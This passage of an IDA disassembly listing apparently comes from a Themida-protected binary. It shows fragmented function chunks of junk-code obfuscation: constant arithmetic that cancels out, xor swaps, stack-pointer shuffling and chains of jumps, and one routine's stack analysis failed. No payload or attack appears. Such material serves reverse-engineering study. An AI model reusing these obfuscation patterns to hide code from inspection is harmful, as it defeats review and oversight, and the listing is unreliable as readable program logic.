		jmp	loc_564CAF
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_562433:				; CODE XREF: sub_564D26-2364j
		sub	ebx, 4C02379Dh
		sub	ebx, 56477267h
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebx
		jmp	loc_56B296
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_56244E:				; CODE XREF: sub_570621+2B41j
		pop	ebx
		jmp	loc_560F14
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_562454:				; CODE XREF: sub_572E16-3944j
		xchg	eax, [esp+4+var_4]
		pop	esp
		push	dword ptr [esp+0]
		jmp	loc_5744A9
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_562460:				; CODE XREF: sub_56D69D-7E1Cj
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		shr	edx, 4
		sub	edx, 0C41DA9ABh
		jmp	loc_56BF9D
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572D45


loc_562474:				; CODE XREF: sub_572D45-D0DFj
		add	eax, 28DA2996h
		jmp	loc_567209
; END OF FUNCTION CHUNK	FOR sub_572D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56247E:				; CODE XREF: sub_572141-A672j
		add	ebp, 5461161Ch
		add	ebp, esi
		sub	ebp, 5461161Ch
		pop	esi
		push	eax
		mov	eax, 587C4935h
		jmp	loc_56F708
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_562498:				; CODE XREF: sub_574F16-F00j
		push	cx
		mov	cl, 0E8h
		add	dl, cl
		mov	cx, word ptr [esp+4+var_6+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 2
		add	edx, edi
		pop	edi
		xchg	edx, [esp+8+var_A+2]
		jmp	loc_573E58
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_5624BC:				; CODE XREF: sub_57523A-A774j
		mov	esi, 613B5EEEh
		push	esi
		sub	[esp+14h+var_14], 0C1B68D1h
		pop	ebp
		push	eax
		mov	eax, 18562885h
		dec	eax
		or	eax, 2DCC08D1h
		shl	eax, 4
		jmp	loc_56D091
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_5624DE:				; CODE XREF: sub_570732+CAj
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		mov	ebx, [esp+4+var_4]
		jmp	loc_568362
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_5624F5:				; CODE XREF: sub_56E126-84ABj
		xor	esi, ebp
		xor	ebp, esi
		jmp	loc_567D55
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5624FE:				; CODE XREF: sub_568E5C-5BACj
		add	esp, 4
		mov	ecx, eax
		pop	eax
		and	ecx, 7E133059h
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	eax
		pop	ecx
		pop	eax
		not	eax
		push	ecx
		jmp	loc_5622B9
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_56251E:				; CODE XREF: sub_5671E1+12j
		add	[esp+8+var_8], 4
		jmp	loc_563A21
; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_562527:				; CODE XREF: sub_564D26+5837j
		add	esp, 4
		not	esi
		xchg	ebx, esi
		xchg	ebp, ebx
		push	ebp
		jmp	loc_56C5E1
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------


loc_562539:				; CODE XREF: Themida_:00560733j
		mov	[esp], eax
		jmp	loc_562A90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B79


loc_562541:				; CODE XREF: sub_566B79-2265j
		push	[esp+4+var_4]
		pop	eax
		jmp	sub_56AA2B
; END OF FUNCTION CHUNK	FOR sub_566B79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56254A:				; CODE XREF: sub_561027+5968j
		mov	edi, 69CF11BBh
		shl	edi, 7
		or	edi, 1CDC2031h
		jmp	loc_56D8D0
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5715F0


loc_56255D:				; CODE XREF: sub_5715F0-FCAEj
		push	[esp-4+arg_4]
		mov	ebx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		mov	cx, word ptr [esp-4+arg_0]
		jmp	sub_56C79C
; END OF FUNCTION CHUNK	FOR sub_5715F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C553


loc_562583:				; CODE XREF: sub_56C553+5FB4j
		add	esp, 4
		jmp	sub_567D31
; END OF FUNCTION CHUNK	FOR sub_56C553
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_56258B:				; CODE XREF: sub_56638C+EC82j
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], ebx
		push	ecx
		mov	ecx, 2
		mov	ebx, ecx
		pop	ecx
		sub	edx, 4DA3427Eh
		add	edx, 69A52270h
		add	edx, ebx
		push	ecx
		mov	ecx, 7B941AC7h
		neg	ecx
		neg	ecx
		jmp	loc_569EC5
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------


loc_5625C1:				; CODE XREF: Themida_:00572ED7j
		mov	cx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edx
		jmp	loc_57008A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_5625CE:				; CODE XREF: sub_560C12+10965j
		xchg	ebx, [esp+8+var_8]
		jmp	loc_564659
; END OF FUNCTION CHUNK	FOR sub_560C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_5625D6:				; CODE XREF: sub_570621-F6F3j
		add	esp, 4
		jmp	loc_56533B
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E90A


loc_5625DE:				; CODE XREF: sub_56E90A+7j
		mov	[esp+4+var_4], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	sub_56BD44
; END OF FUNCTION CHUNK	FOR sub_56E90A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5625EE:				; CODE XREF: sub_571F6F-4310j
		pop	esp
		dec	dh
		inc	dh
		dec	dh
		push	bx
		mov	bh, 0D8h
		add	dh, bh
		mov	bx, word ptr [esp+12h+var_14+2]
		add	esp, 2
		mov	bh, dh
		mov	edx, [esp+0Eh+var_E]
		jmp	loc_5742BB
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_56260C:				; CODE XREF: sub_563819-2DB5j
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebx, 281A10EBh
		add	ebx, eax
		push	ebp
		mov	ebp, 281A10EBh
		sub	ebx, ebp
		pop	ebp
		pop	eax
		mov	ecx, [esp-8+arg_4]
		push	edi
		mov	edi, esp
		jmp	loc_569750
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------


loc_56262F:				; CODE XREF: Themida_:0056B679j
		pop	esp
		mov	ecx, 4A95730Fh
		sub	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_56233B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_562643:				; CODE XREF: sub_56EFD2+181Aj
		add	edi, esi
		pop	esi
		push	edi
		jmp	loc_56B685
; END OF FUNCTION CHUNK	FOR sub_56EFD2

; =============== S U B	R O U T	I N E =======================================



sub_56264C	proc near		; DATA XREF: Themida_:0055FE50o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561AEF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00563752 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056984D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056B2B4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E92D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571F8A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572CCA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574F0B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057519D SIZE 00000006 BYTES

		lodsd
		jmp	loc_574F0B
sub_56264C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680AC


loc_562652:				; CODE XREF: sub_5680AC-1764j
		sub	eax, 294F6C87h
		add	eax, ebx
		add	eax, 294F6C87h
		jmp	loc_574FA5
; END OF FUNCTION CHUNK	FOR sub_5680AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_562663:				; CODE XREF: sub_56B11B-27C3j
		pop	eax
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		jmp	loc_56B443
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_56266F:				; CODE XREF: sub_56638C-4E73j
		mov	edx, esp
		jmp	loc_5749DE
; END OF FUNCTION CHUNK	FOR sub_56638C

; =============== S U B	R O U T	I N E =======================================



sub_562676	proc near		; DATA XREF: Themida_:0055FE38o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005632C8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C069 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CD68 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056FBEB SIZE 00000017 BYTES

		push	dword ptr [esp+0]
		pop	eax
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
		push	ecx
		push	4
		pop	ecx
		push	eax
		push	72C34B76h
		pop	eax
		or	eax, 3F513250h
		jmp	loc_56C069
sub_562676	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56269D:				; CODE XREF: sub_572075-72F3j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_566B9C
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_5626B6:				; CODE XREF: sub_56D4B8-3801j
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		and	ecx, edi
		mov	edi, [esp-8+arg_4]
		jmp	loc_570A68
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------


loc_5626C7:				; CODE XREF: Themida_:00561476j
		push	5F24h
		mov	[esp], ebp
		push	edx
		push	ebp
		jmp	loc_5694F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_5626D6:				; CODE XREF: sub_5605BC+C09Cj
		sub	eax, 4
		xchg	eax, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], edx
		mov	edx, 7D7163AFh
		shl	edx, 1
		push	ebx
		mov	ebx, 35D007D9h
		xor	edx, ebx
		pop	ebx
		neg	edx
		push	ebx
		push	edx
		mov	edx, 15834D3Ah
		push	8D0DA585h
		jmp	loc_573ECF
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_562703:				; CODE XREF: sub_57354D+18A7j
		and	eax, 664E4C51h
		xor	eax, 4EF01176h
		xor	eax, 35687545h
		sub	ebp, 43E275E8h
		jmp	loc_56F6D6
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747AF


loc_56271D:				; CODE XREF: sub_5747AF-FAABj
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_570A07
; END OF FUNCTION CHUNK	FOR sub_5747AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_56272B:				; CODE XREF: sub_56D464-2FD3j
		pop	esp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5637A1


loc_562731:				; CODE XREF: sub_5637A1+1Aj
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	34A5h
		jmp	loc_562EFE
; END OF FUNCTION CHUNK	FOR sub_5637A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_56274A:				; CODE XREF: sub_5753A5-576Cj
		neg	esi
		push	3A3Ch
		mov	[esp+10h+var_10], ebp
		mov	ebp, 7641391Dh
		jmp	loc_5740BD
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_56275E:				; CODE XREF: sub_564EBE+3E7Fj
		add	edi, 4
		push	esi
		mov	esi, 586F0C1Ah
		jmp	loc_572F4E
; END OF FUNCTION CHUNK	FOR sub_564EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567866


loc_56276F:				; CODE XREF: sub_567866+6672j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_5646E4
; END OF FUNCTION CHUNK	FOR sub_567866
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_56277D:				; CODE XREF: sub_5687A3+60A0j
		xor	ecx, ebx
		jmp	loc_56A659
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726FB


loc_562784:				; CODE XREF: sub_5726FB-B700j
		add	esi, 35281751h
		shl	esi, 8
		push	edi
		mov	edi, 0D2FC2FFh
		add	esi, edi
		pop	edi
		mov	ecx, esi
		push	[esp+4+var_4]
		pop	esi
		jmp	loc_568E3F
; END OF FUNCTION CHUNK	FOR sub_5726FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_5627A1:				; CODE XREF: sub_56EE9F-283Dj
		add	esp, 4
		xor	edi, 1FD4784Eh
		sub	edi, 20A07762h
		jmp	loc_56016B
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_5627B8:				; CODE XREF: sub_56616D+E740j
		push	edi
		mov	edi, 203103C0h
		or	edx, edi
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5712C3
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5627CE:				; CODE XREF: sub_561418+8AC3j
		push	25FE5714h
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_56223C
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_5627E1:				; CODE XREF: sub_571C93-B2E6j
		pop	esp
		push	dword ptr [esp+0]
		jmp	loc_572A8F
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_5627EA:				; CODE XREF: sub_566400+9B26j
		add	eax, 3AF142FAh
		jmp	sub_56DAB2
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5627F4:				; CODE XREF: sub_564D26+B228j
		mov	[esp+0Ch+var_C], edx
		mov	edx, 4
		add	edi, 40866211h
		add	edi, edx
		sub	edi, 40866211h
		pop	edx
		add	edi, 4
		jmp	loc_572230
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_562816:				; CODE XREF: sub_56628B-4876j
		or	esi, 4D172254h
		sub	esi, 6E687ECBh
		jmp	loc_5742DF
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_562827:				; CODE XREF: sub_57354D-5248j
		sub	[esp+8+var_4], 8CF317Ah
		pop	ebx
		mov	ecx, [esp+4+var_4]
		push	ebx
		jmp	loc_561300
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------


loc_562839:				; CODE XREF: Themida_:00574244j
		shr	edi, 6
		sub	edi, 27582D52h
		jmp	loc_56994B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_562847:				; CODE XREF: sub_574949-2AD9j
		push	esi
		mov	esi, 358B7E9Ch
		xor	esi, eax
		jmp	loc_565DAE
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_562854:				; CODE XREF: sub_5733CA-1104Ej
		push	edi
		mov	edi, 228A747Eh
		not	edi
		dec	edi
		dec	edi
		sub	edi, 7C4776D6h
		mov	edx, edi
		pop	edi
		and	edx, 5C8063ABh
		add	edx, 0BFFFFF59h
		add	ecx, edx
		pop	edx
		jmp	loc_566911
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56287B:				; CODE XREF: sub_561418+EFC9j
		push	esp
		jmp	loc_574C78
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_562881:				; CODE XREF: sub_568764+1DE1j
		mov	[edx], al
		jmp	loc_56F5A6
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_562888:				; CODE XREF: sub_56AB5E+9A8Fj
		push	edx
		mov	edx, esp
		jmp	loc_5751A9
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56513E


loc_562890:				; CODE XREF: sub_56513E+61C4j
		xor	esi, 7A070117h
		xor	esi, 3F8B4D3Dh
		push	ebp
		mov	ebp, 5AE90C7Eh
		sub	ebp, 7F2D5EC0h
		jmp	loc_5743FB
; END OF FUNCTION CHUNK	FOR sub_56513E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_5628AD:				; CODE XREF: sub_575315-11D74j
		inc	ecx
		shl	ecx, 3
		add	ecx, 0A9ED889Dh
		and	ebp, ecx
		pop	ecx
		push	347Fh
		jmp	loc_568A86
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_5628C4:				; CODE XREF: sub_5610CE+143FAj
		mov	esi, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 69477DEEh
		add	ebp, eax
		jmp	loc_5746FC
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_5628DF:				; CODE XREF: sub_571289-F4F1j
		add	eax, edx
		pop	edx
		pop	ebx
		jmp	loc_56BA12
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_5628E8:				; CODE XREF: sub_572E16-C737j
		mov	esi, 39E7361Dh
		not	esi
		push	edx
		push	ebp
		push	36E85AA3h
		pop	ebp
		push	ebp
		jmp	loc_5606A5
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_5628FD:				; CODE XREF: sub_574F16-C57Cj
		and	dl, 67h
		push	ecx
		jmp	loc_56A005
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_562906:				; CODE XREF: sub_574A21-12B33j
		sub	esi, 6FC218D9h
		add	esi, ecx
		add	esi, 6FC218D9h
		pop	ecx
		sub	esi, edx
		sub	esi, 450445FDh
		push	[esp+8+var_8]
		pop	edx
		push	2641h
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		push	edx
		jmp	loc_569247
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1F0


loc_562931:				; CODE XREF: sub_56F1F0+5B11j
		sub	esi, ebp
		pop	ebp
		sub	esi, 2E7230F6h
		inc	esi
		sub	esi, 8B71C4C3h
		add	edi, esi
		pop	esi
		sub	edi, edx
		sub	edi, 5C4A144Ah
		mov	edx, [esp+0]
		jmp	loc_5620E1
; END OF FUNCTION CHUNK	FOR sub_56F1F0

; =============== S U B	R O U T	I N E =======================================



sub_562954	proc near		; CODE XREF: sub_564BC5+716Cj

; FUNCTION CHUNK AT 00569157 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00572F41 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 453A4AA0h
		mov	edi, ebp
		pop	ebp
		jmp	loc_569157
sub_562954	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_562962:				; CODE XREF: sub_56241E-13C5j
		xor	dx, cx
		jmp	loc_560C54
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_56296A:				; CODE XREF: sub_56A7FB-9838j
		sub	ch, dh
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		add	al, 0E5h
		sub	al, ch
		sub	al, 0E5h
		pop	cx
		sub	al, bl
		push	ebx
		jmp	loc_574F9F
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_562986:				; CODE XREF: sub_572075-10753j
		push	ecx
		mov	ecx, esp
		push	2B98h
		mov	[esp+8+var_8], esi
		mov	esi, 1D2B409Fh
		not	esi
		push	edx
		mov	edx, 1D490F5Ch
		sub	esi, 113F4CBCh
		jmp	loc_56BFFB
; END OF FUNCTION CHUNK	FOR sub_572075

; =============== S U B	R O U T	I N E =======================================



sub_5629A9	proc near		; DATA XREF: Themida_:0055FDC0o
		neg	word ptr [esp+0]
		pushf
		jmp	loc_55FF9F
sub_5629A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5629B3:				; CODE XREF: sub_564D26-478Ej
		pop	edi
		add	ebx, 56477267h
		add	ebx, 4C02379Dh
		add	ebx, ecx
		jmp	loc_562433
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5629C7:				; CODE XREF: sub_561418+123DEj
		add	eax, ebp
		pop	ebp
		add	ecx, eax
		pop	eax
		add	ecx, edx
		push	esi
		mov	esi, 273E5483h
		push	edi
		jmp	loc_570103
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5629DB:				; CODE XREF: sub_5685B2-8401j
		pop	ebp
		jmp	loc_5702F4
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_5629E1:				; CODE XREF: sub_566C83+D553j
		add	ebx, ecx
		mov	ecx, [esp+4+var_4]
		jmp	loc_560655
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_5629EB:				; CODE XREF: sub_57549C-2DE6j
		pop	ebp
		add	eax, edx
		add	eax, 1E7D67C6h
		mov	edx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 6E201682h
		jmp	loc_564151
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_562A0F:				; CODE XREF: sub_56BD44-9D32j
		pop	esp
		add	eax, 8EB5816h
		jmp	loc_561D89
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD97


loc_562A1A:				; CODE XREF: sub_56FD97-6026j
		mov	esi, 22622D6h
		add	eax, 576B0625h
		sub	eax, esi
		push	edi
		mov	edi, 576B0625h
		sub	eax, edi
		pop	edi
		jmp	loc_565E14
; END OF FUNCTION CHUNK	FOR sub_56FD97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_562A34:				; CODE XREF: sub_56657A-1FA0j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		jmp	loc_575261
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5731F9


loc_562A4A:				; CODE XREF: sub_5731F9+13j
		add	bl, 0E2h
		pop	ecx
		sub	bl, 1
		push	0
		jmp	loc_574E8E
; END OF FUNCTION CHUNK	FOR sub_5731F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_562A5B:				; CODE XREF: sub_5685B2-31A6j
		pop	edx
		and	esi, ecx
		pop	ecx
		add	esi, 22BB73AFh
		push	0E8Eh
		mov	[esp-10h+arg_C], ebp
		mov	ebp, 36A652E8h
		dec	ebp
		xor	ebp, 417106DFh
		shl	ebp, 1
		jmp	loc_57124A
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_562A80:				; CODE XREF: sub_56AB5E-1A9Ej
		pop	esp
		xor	al, dh
		mov	edx, [esp+4+var_4]
		add	esp, 4
		xor	bl, al
		jmp	loc_560BDC
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------


loc_562A90:				; CODE XREF: Themida_:0056253Cj
		mov	eax, 60C55633h
		jmp	loc_5663F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_562A9A:				; CODE XREF: sub_569DB5+9B3Aj
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		jmp	loc_566CAC
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_562AA7:				; CODE XREF: sub_564020+A189j
		add	esp, 4
		xor	eax, edi
		pop	edi
		push	edx
		mov	edx, 55C5BEBh
		push	25B5h
		mov	[esp+4+var_4], ebp
		mov	ebp, 4BE73788h
		xor	edx, ebp
		pop	ebp
		push	edi
		push	ebx
		mov	ebx, 37DD4458h
		mov	edi, 0AA96BE2Ah
		sub	edi, ebx
		pop	ebx
		sub	ebx, edi
		push	[esp+4+var_4]
		pop	edi
		jmp	loc_564393
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_562AE0:				; CODE XREF: sub_574A21-CA34j
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		jmp	loc_560F6A
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------


loc_562AF2:				; CODE XREF: Themida_:00560CB0j
		sub	esp, 4
		mov	[esp], eax
		push	3568h
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	eax
		push	ebx
		mov	ebx, 1AD90317h
		shl	ebx, 3
		sub	ebx, 5141724h
		dec	ebx
		push	ecx
		mov	ecx, 58E84516h
		or	ecx, 33BE70E9h
		and	ecx, 7474690Ah
		jmp	loc_56B0DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_562B36:				; CODE XREF: sub_56E126-A8A3j
		push	8ABh
		mov	[esp+8+var_8], ebp
		push	454A736Eh
		pop	ebp
		jmp	sub_56D589
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D
